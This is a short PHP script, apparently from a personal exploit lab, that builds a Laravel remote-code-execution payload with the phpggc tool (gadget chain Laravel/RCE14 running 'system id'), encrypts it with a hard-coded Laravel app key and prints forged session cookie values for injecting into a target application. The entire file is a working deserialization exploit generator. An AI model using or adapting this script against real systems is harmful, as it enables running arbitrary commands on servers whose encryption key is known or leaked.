<?php
require '/home/c/ZERODAY/lab/target/opendk/vendor/autoload.php';

$key = str_repeat('A', 32);
$encrypter = new Illuminate\Encryption\Encrypter($key, 'aes-256-cbc');

// Generate RCE payload
$payload = shell_exec('/tmp/phpggc/phpggc Laravel/RCE14 system id');
$payload = trim($payload);

// Encrypt for Laravel
$encrypted = $encrypter->encrypt($payload);

// Create session cookie value (for cookie driver)
$session_id = 'rce_' . bin2hex(random_bytes(18));
$session_data = json_encode([
    'expires' => time() + 3600,
    'data' => $encrypted
]);

// Encrypt session ID
$encrypted_session_id = $encrypter->encrypt($session_id);

echo "Session ID: $session_id\n";
echo "Encrypted Session ID (for kd_session cookie):\n";
echo urlencode($encrypted_session_id) . "\n\n";
echo "Session Data (for $session_id cookie):\n";
echo urlencode($session_data) . "\n";
